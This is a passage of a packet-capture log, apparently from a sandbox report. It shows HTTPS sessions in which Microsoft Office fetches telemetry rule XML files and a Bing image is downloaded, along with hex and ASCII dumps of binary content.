9*?d_%'W+slXQ`W=l0omYOkfK{U.}[}tqlmic1qmowm}lx<Dyd(O:Jx7E[n<jkgTT.]W_)>]xW4m5g
2024-12-08 16:45:48 UTC	16384	IN	Data Raw: bb 9e 9f f7 cd 5b d0 74 2f 11 db dd 5d fd 8f 5d 91 76 ee fd cc c8 d3 c0 f9 c9 ca 74 35 e5 4f 8a dd 34 fd bd a2 fb 2d 4f 72 3c 13 4e a5 9d 17 29 ae fb 1e ef a2 fc 5b f0 06 a3 bd 61 d5 a4 69 15 f6 a4 49 03 79 b3 37 60 ab c1 fe 9e f5 9d e3 2f 88 1a ad ff 00 fc 4a 7c 2f 61 25 9c 72 bb 79 da a3 ba ee 86 31 d1 87 f7 58 fe 62 be 4b bc d2 bc 47 a4 7c 4d 48 db 4d 8d be d1 73 6c d3 7d 92 06 6d 8b 1b 03 2b 6f fe 0f ef 11 5f 46 eb 91 fd 9f 47 b4 d2 61 d4 a7 b3 86 28 56 5b 89 91 17 cf 9a 31 86 6d bf dc ce ee b5 e4 e7 1c 51 88 a7 1a 70 a5 35 69 a7 af fc 35 fb 9e be 47 c1 f8 29 d4 a9 3a d4 dd e0 d6 8d ef af 9d 8c dd 5b 4e 9e ca 05 d4 bc 41 77 3d fc 3f 79 1d e7 6f 3d e4 dd de b8 1b 34 8b e2 0e b1 71 a7 cd e6 5a e9 ba 6d c2 b5 c2 5b bf ca 9d f6 86 ff 00 9e 9d bf d9 eb 52 Data Ascii: [t/]]vt5O4-Or<N)[aiIy7`/J\|/a%ry1XbKG\|MHMsl}m+o_FGa(V[1mQp5i5G):[NAw=?yo=4qZm[R
2024-12-08 16:45:48 UTC	16384	IN	Data Raw: 7e 0f f1 06 82 f7 d7 16 b6 ff 00 da 52 cd 75 70 b2 6f b8 49 17 7f cd 9f e2 5a f4 ed 4b 54 88 f8 7d 2d d6 39 16 37 46 d8 93 27 f3 cf e7 5c 95 7d a5 1a bc 8d 34 9f 72 e9 fb 3a b1 72 56 f9 1c af 89 3f b4 fc 43 63 f6 18 74 d9 19 6f 13 e4 f3 76 c5 ff 00 ec fc bd 33 dd aa ff 00 87 6f 60 b4 48 b4 bd 2d 27 b5 b5 b5 f2 d7 63 a6 d5 85 42 ed db f8 7c b5 a7 08 fb 54 9f 6a 69 e4 db 6b 0a fd 9d 3e ee f5 2b bb 75 71 3e 24 bc be d2 7e d0 b6 70 47 7f fe 91 e6 cc 8f fe b5 33 f7 d7 eb 5d 31 bd 45 ca 9a fc 91 93 a8 a9 be 67 77 a1 d5 c9 aa 5b 5a 7d a2 f2 de 79 3f d3 2e 16 da de e1 d3 e6 dd f7 15 7f 17 6e b5 9d f1 62 58 bc 03 7d 6f 75 67 7c 93 df 6a 8f 1c 09 63 33 aa c6 ec b9 fd e3 37 de 55 51 bb f1 aa de 0b f1 4e 9b e2 9d 0d af 1a 78 13 fb 11 fe 7d 2f c8 fd ec 32 1f ba 5f 76 Data Ascii: ~RupoIZKT}-97F'\}4r:rV?Cctov3o`H-'cB\|Tjik>+uq>$~pG3]1Egw[Z}y?.nbX}oug\|jc37UQNx}/2_v
2024-12-08 16:45:48 UTC	16384	IN	Data Raw: b0 f5 a8 e3 30 fe d2 9c 75 ea b4 f9 9f 1f 5e 95 6c 2d 7f 67 51 e9 d1 f9 74 2e 78 a0 ff 00 6b 6a 9f 68 b1 8e 08 b7 23 6c 8b cf f9 9f 1d 49 dd 51 f8 5f 54 bb b3 be 48 e3 d4 a4 b0 91 9f ca 99 ff 00 d9 fa 74 e2 9d e2 68 ad 7c 8b 8b ad 26 39 2f e3 5d b2 24 af f2 c9 b7 f8 83 a8 ac 99 9f cf fd f4 31 c7 14 9b 37 4a 8f bb e4 fc eb d1 a3 4e 13 a0 a9 b5 a6 da ee 8e 0a b5 25 1a ae 6b 7d fc 99 e9 16 fa 4e 8c d2 35 ab 49 75 2b 6a 57 1f 6c fb 44 bb 97 ce 57 e1 80 c6 3e 56 ae ee 3f 0c 68 d1 68 fa 7c 36 76 09 f6 35 7f b3 3e f9 fe e2 ff 00 0f e4 76 e2 bc 23 49 d5 6e ac e4 4b 79 bf 7a bb d5 a1 9b 7f dc 60 bc 2e 7f bb 5e c7 f0 77 53 8b 5f d0 db 4d d4 a4 db 36 cd df dd f9 b7 7c a5 7f a5 7c 9e 75 84 c4 e1 e0 aa 73 b7 14 ff 00 a6 7d 36 57 8a c3 e2 1b 87 22 52 b7 6f c0 df d3 ef Data Ascii: 0u^l-gQt.xkjh#lIQ_THth\|&9/]$17JN%k}N5Iu+jWlDW>V?hh\|6v5>v#InKyz`.^wS_M6\|\|us}6W"Ro
2024-12-08 16:45:48 UTC	16384	IN	Data Raw: f1 61 4f 7f ef 62 b1 ad fe 2e 5e 7d 97 c9 ba b4 7f 31 77 34 49 14 df 2b e7 9e 5f f9 57 1f e3 6f 11 5e 6a d7 c9 7d 71 67 3a 5c 5a be e8 bf d8 5f a2 8a e4 96 1b 15 8d 6a 9e 2e 8c 57 9a b5 ff 00 af c8 e9 8d 6c 26 16 2e 58 5a b2 7e 4f 6b 7e 3f f0 4f 5b d4 b5 9d 5e f2 fb ec b6 7e 13 45 86 d6 25 9d 2e 2d ef 76 c6 99 fb bb 53 f8 9b 76 fa d9 f0 3e a3 aa fd 85 34 bf b2 4f 2a ad da cf 71 69 72 fb 7e 63 ff 00 3c 9b a1 f9 79 2a 6b e7 a8 bc 51 79 0d c6 e9 ae e7 89 65 75 69 76 6e ed d3 6f a7 5a ed e1 f1 ab 35 a4 5e 5e ad 1b 6d db 22 7d ad 1b e4 ff 00 81 ad 72 62 b2 5a b4 e0 a3 4d 2b 3f 5f c7 57 fa 1d 58 6c da 94 e6 dc a4 ee bf c3 fe 4b f5 3b cf 03 f8 83 c3 96 fe 3c d7 b5 0d ff 00 60 b5 d5 2e 2d 59 22 77 55 6f 91 9c cb ed 5d e6 a3 e3 2d 2a f3 c5 56 3a d5 9d dc 17 50 ac Data Ascii: aOb.^}1w4I+_Wo^j}qg:\Z_j.Wl&.XZ~Ok~?O[^~E%.-vSv>4Oqir~c<ykQyeuivnoZ5^^m"}rbZM+?_WXlK;<`.-Y"wUo]-*V:P
2024-12-08 16:45:48 UTC	16067	IN	Data Raw: b7 fc b3 ad 79 a2 4f 29 55 b5 79 da 89 35 db 96 8f cb a9 da da db fe 59 c1 48 da 74 4b ff 00 2c e4 56 a3 9a 23 e4 33 e6 bc b9 9f e6 f3 2a 09 1d bf 8a 4a b3 79 6c d1 fd d9 2a 8c 96 12 b3 ee f3 2a f9 d1 2e 98 e9 12 2f bc d2 7c d5 0f 97 13 54 8b a5 dd 56 96 9b a5 cb f7 99 37 52 75 12 1f 23 32 d6 08 bf e7 9d 58 86 cb 77 cd e5 fc b5 bb 1e 9d 2f f0 c1 26 df f7 29 24 b6 95 7e 5f bb 51 ed 6e 57 29 8f 25 92 b4 7b 56 aa 49 a7 37 99 fb cf 96 ba 58 f4 f9 62 8f cc a8 ee ad 1a 59 3e 68 e9 2a 81 c9 73 15 74 f8 97 fe 5a 7c d4 7d 8d 57 e5 f3 2b 49 74 b9 e5 ff 00 53 1c 95 1c 3a 1e a0 f2 6d f2 f6 d3 f6 8b b8 7b 33 3d 6d 97 fe 7b d5 db 38 e2 5f bd 26 ea 7c de 14 d4 be f7 97 25 3a df c3 5a 82 c8 9f bb f9 a8 f6 91 ee 27 4f c8 d3 d3 63 b1 9e 4f 2e 4f 97 75 68 ae 99 a6 26 ff 00 Data Ascii: yO)Uy5YHtK,V#3Jyl./\|TV7Ru#2Xw/&)$~_QnW)%{VI7XbY>hstZ\|}W+ItS:m{3=m{8_&\|%:Z'OcO.Ouh&
2024-12-08 16:45:48 UTC	16384	IN	Data Raw: 34 96 fa 6d 8c 4d fc 7f 26 da 58 e2 8a 6f 9a 1d 36 d5 bf db 4f bd 5d 25 8f 86 e5 9e 3f 33 cf f9 7f db a4 ba f0 ff 00 95 22 2f 9f 1b 37 fb 69 4f db 46 f6 0f 63 2b 5c e3 ef ac a2 b8 fd dc da 6e ef f8 1d 40 be 16 8a 79 37 47 a6 c6 df ec 57 79 36 91 3c 5b 37 47 6a cd fe e5 2c 86 e6 ca 3f de 47 06 df f6 2a e3 5b a2 33 74 6d b9 e7 5a a7 81 25 9f e5 5d 36 45 ff 00 73 6d 50 8f c0 5b 7f d7 69 37 4c bf ec 57 ad e9 f7 2d 71 07 98 be 5b 55 85 76 fe 2a af ac 4d 69 72 7d 84 1e a7 8a dd 78 1e 25 ff 00 97 0b e4 5f f6 d2 8b 7f 01 c0 df eb 2d 2f bf e0 10 57 b4 33 d2 33 d5 7d 6a 62 fa bc 0f 1e 93 c0 da 1a ff 00 cb a6 a4 bf ef c1 51 37 80 f4 a3 f7 60 ba ff 00 be 19 6b d8 d9 e9 ac 56 8f ac cf b8 9e 1e 07 8d c9 f0 fb 4a 6f bb 1c eb ff 00 7d 55 69 be 1d 22 c9 fb 99 23 65 ff 00 Data Ascii: 4mM&Xo6O]%?3"/7iOFc+\n@y7GWy6<[7Gj,?G[3tmZ%]6EsmP[i7LW-q[UvMir}x%_-/W33}jbQ7`kVJo}Ui"#e
2024-12-08 16:45:48 UTC	16384	IN	Data Raw: da ad f9 9e d5 83 e0 fd 7f 4c d5 ed 5e f2 19 e4 5b 85 7d b3 5a 3f fa d8 7d b6 1f e7 5a 7e 32 d3 ff 00 b5 3c 32 f7 cd e6 2c d1 23 79 5f 3d 65 4f 15 cb 37 19 2e 49 df a6 96 2e 54 a2 e1 74 f9 a3 e7 b1 2f 86 f5 4f 10 da e9 bb b4 1f 12 6a 5a 74 91 7d c4 b7 ba dd 17 e2 ad 9a e8 7c 1b f1 ff 00 c5 f6 b3 c3 6f e2 2b 0d 36 e1 52 66 59 92 64 68 27 7c 7f 75 87 c9 fa 57 9c f8 3e 3f 10 e9 7b 26 ba b0 8d 96 e1 37 7d 9d 37 6e 4a ea 6e 34 b6 d6 b4 d9 96 69 3e c7 71 b3 cc 79 b6 6e 5f 6a f5 f0 dc 4d 98 d0 a8 a9 29 f3 25 f3 fc cf 23 13 c3 99 66 2a 1c f2 a6 93 fb bf 23 d9 fc 33 f1 df c0 fa 94 ff 00 67 be 92 ef 49 9b ee ff 00 a4 26 e8 bf ef b4 cf eb 5e 91 a6 de 59 ea 36 30 de 58 cf 05 d5 bc a9 b9 26 85 f7 2b fe 35 f1 d5 f7 87 19 60 99 be c9 07 98 df f3 c5 da 2d eb fd ef 73 f5 Data Ascii: L^[}Z?}Z~2<2,#y_=eO7.I.Tt/OjZt}\|o+6RfYdh'\|uW>?{&7}7nJn4i>qyn_jM)%#f*#3gI&^Y60X&+5`-s

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:48 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8332a10a-c01e-0079-4304-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164548Z-r1cf579d778dc6d7hC1EWR2vs800000006e00000000091zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:48 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fdf3550d-a01e-0070-7703-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164548Z-r1cf579d778xr2r4hC1EWRqvfs0000000600000000001s4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:48 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1dbd65e4-a01e-0002-7203-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164548Z-r1cf579d778dfdgnhC1EWRd3w000000005mg0000000076hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:48 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:48 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: b8e80a8d-201e-000c-1e03-4879c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164548Z-r1cf579d778zvkpnhC1EWRv23g000000063g000000005tgg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:48 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:48 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:48 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:48 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 11351553-001e-002b-2f7e-4999f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164548Z-r1cf579d7782v2q5hC1EWRt9bw00000000g0000000000stb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-08 16:45:48 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49840	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:48 UTC	375	OUT	GET /th?id=OADD2.10239360494465_1WL11PE3QHWZ3Q9V1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-08 16:45:49 UTC	861	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 539839 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 651282432656418091F7A39DC81DA741 Ref B: EWR30EDGE0321 Ref C: 2024-12-08T16:45:48Z Date: Sun, 08 Dec 2024 16:45:48 GMT Connection: close
2024-12-08 16:45:49 UTC	659	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 33 3a 32 36 20 32 32 3a 31 36 3a 32 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.2 (Windows)2023:03:26 22:16:258C
2024-12-08 16:45:49 UTC	8192	IN	Data Raw: 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 f6 98 e9 f4 d8 c5 49 55 7b 9c 24 4d 4c db 52 30 a6 d3 b8 02 8a 7a d2 53 69 81 25 14 99 a3 34 0d 83 51 9a 6e 69 28 10 ad 48 af 45 47 40 12 ad 3d 69 8a 69 68 02 4a 6f dd a4 6a 1a 95 80 56 3e d4 8d 43 53 29 8d 85 14 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?IU{$MLR0zSi%4Qni(HEG@=iihJojV>CS)
2024-12-08 16:45:49 UTC	7002	IN	Data Raw: bb f3 2f dd 44 a7 5a 88 2d 63 76 92 39 dd 59 f6 ef 4a c2 55 aa 2e a5 b9 33 94 bc 95 63 8d ed 66 93 6b 2d 41 0f 9f 77 75 e4 d9 fc cd b3 75 76 57 d1 69 17 56 ff 00 bc b0 83 ed 4c fb 92 6f e4 2b 36 eb 47 93 43 d0 ee 2e ad ef e0 95 b7 ee 7d 9f c0 b5 d7 0c 5c 64 ad 6b 37 f7 7e 01 19 42 da 19 f6 f6 77 4b a9 24 37 89 22 ff 00 7e ae 78 8a 28 27 81 1a d5 fc a8 e2 fb fb 2a b7 87 f5 1f ed 1b a9 ae 23 8e 49 5a 2f dd 22 7f 0f 34 ba d4 7e 54 0e cd fc 30 b3 55 de 4a aa 4d d9 a2 5c bd e4 b6 32 f5 eb 2f b3 c7 69 7c d3 c8 df c2 e8 ff 00 a5 1a 7d d7 97 3e ea 14 cb 7f 07 ee fc c9 5a 2d bf b9 7f ee d6 9d c7 87 99 6d 3c e8 63 8d 59 bf e9 a5 74 3a 8a 31 e5 9b d4 ab de c9 bd 4c fb 89 bc db e7 91 be ed 48 c6 07 d8 bb 3c d6 fb c8 f5 04 36 d3 cb a8 cd 0b 47 b5 62 fb ee f5 36 b1 69 Data Ascii: /DZ-cv9YJU.3cfk-AwuuvWiVLo+6GC.}\dk7~BwK$7"~x('*#IZ/"4~T0UJM\2/i\|}>Z-m<cYt:1LH<6Gb6i
